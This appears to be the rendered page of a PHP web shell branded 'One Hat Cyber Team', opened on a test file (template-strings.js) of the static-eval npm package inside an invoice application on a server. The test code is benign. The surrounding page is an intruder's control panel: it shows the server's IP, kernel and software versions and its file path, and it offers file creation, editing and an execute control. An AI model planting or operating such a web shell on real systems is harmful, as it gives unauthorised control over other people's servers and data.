⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.1
Server IP:
185.238.29.86
Server:
Linux server2 6.8.12-6-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-6 (2024-12-19T19:05Z) x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.31
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
invoice
/
node_modules
/
static-eval
/
test
/
Edit File: template-strings.js
var test = require('tape'); var evaluate = require('../'); var parse = require('esprima').parse; test('untagged template strings', function (t) { t.plan(1); var src = '`${1},${2 + n},${`4,5`}`'; var ast = parse(src).body[0].expression; var res = evaluate(ast, { n: 6 }); t.deepEqual(res, '1,8,4,5'); }); test('tagged template strings', function (t) { t.plan(3); var src = 'template`${1},${2 + n},${`4,5`}`'; var ast = parse(src).body[0].expression; var res = evaluate(ast, { template: function (strings) { t.deepEqual(strings, ['', ',', ',', '']); var values = [].slice.call(arguments, 1); t.deepEqual(values, [1, 8, '4,5']); return 'foo'; }, n: 6 }); t.deepEqual(res, 'foo'); })
Simpan